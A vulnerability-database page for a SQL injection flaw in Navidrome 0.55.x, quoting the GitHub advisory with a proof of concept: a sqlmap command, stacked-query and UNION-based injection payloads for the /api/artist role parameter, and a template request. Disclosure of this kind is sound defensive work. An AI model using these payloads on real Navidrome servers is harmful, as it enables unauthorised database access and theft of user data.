CVE-2025-48949
criticalpriority · track · 39EPSS 0.005 · 43 %ileEUUSEPSS · scored 2026-10-27
Navidrome is an open source web-based music collection server and streamer. Versions 0.55.0 through 0.55.2 have a vulnerability due to improper input validation on the `role` parameter within the API endpoint `/api/artist`. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information. Version 0.56.0 contains a patch for the issue.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 8.1–9.8
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (3)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-5wgp-vjxm-3x2rNavidrome allows SQL Injection via role parameter2025-05-29ghsa · osvUS
## 🛡 **Security Advisory: SQL Injection Vulnerability in Navidrome v0.55.2** ### **Overview** This vulnerability arises due to improper input validation on the **`role`** parameter within the API endpoint **`/api/artist`**. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information. --- ### **Details** * **Vulnerable Component**: API endpoint → `/api/artist` Parameter → `role` * **Vulnerability Type**: SQL Injection (stacked queries, UNION queries) * **Database Affected**: SQLite (confirmed exploitation via SQLite-specific payloads) * **Impact**: Successful exploitation allows an unauthenticated attacker to: * Execute arbitrary SQL commands * Extract or manipulate sensitive data (e.g., user records, playlists) * Potentially escalate privileges or disrupt service availability --- ### **Proof of Concept (PoC)** **Example Exploit Command**: ```bash sqlmap.py -r navi --level 5 --risk 3 -a --banner --batch --tamper charencode --dbms sqlite ``` **Sample Payloads**: * **Stacked Queries**: ``` http://navidrome/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist');SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- ``` * **UNION-Based Query**: ``` http://navidrome.local/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist') UNION ALL SELECT 92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,CHAR(113,98,118,98,113)||CHAR(113,84,86,119,114,71,106,104,90,118,120,104,79,66,104,108,121,106,70,68,90,113,104,117,67,98,113,67,103,84,71,120,119,119,117,121,81,76,100,71)||CHAR(113,120,112,106,113),92,92,92,92-- Mtny ``` **Example HTTP Request**: ```http GET /api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist* HTTP/2 Host: <TARGET HOST> Cookie: <REPLACE WITH VALID COOKIE> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: application/json X-Nd-Authorization: <REPLACE WITH AUTH TOKEN> X-Nd-Client-Unique-Id: <REPLACE WITH CLIENT ID> ``` ---
- GO-2025-3734Navidrome allows SQL Injection via role parameter in github.com/navidrome/navidrome2025-06-03vendor · osvUS
Navidrome allows SQL Injection via role parameter in github.com/navidrome/navidrome
also known as (5)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (9)
External citations — patches, advisories, analysis.
- https://access.redhat.com/security/cve/cve-2025-48949cnnvd
- https://github.com/navidrome/navidrome/commit/b19d5f0d3e079639904cac95735228f445c798b6cnnvd
- https://github.com/navidrome/navidrome/releasesPatchcnnvd
- https://github.com/navidrome/navidrome/security/advisories/GHSA-5wgp-vjxm-3x2rcnnvd
- https://nvd.nist.gov/vuln/detail/CVE-2025-48949cnnvd
- https://github.com/navidrome/navidrome/commit/b19d5f0d3e079639904cac95735228f445c798b6enisa_euvd
- https://github.com/navidrome/navidrome/security/advisories/GHSA-5wgp-vjxm-3x2renisa_euvd
- https://github.com/navidrome/navidrome/commit/b19d5f0d3e079639904cac95735228f445c798b6Patchnvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan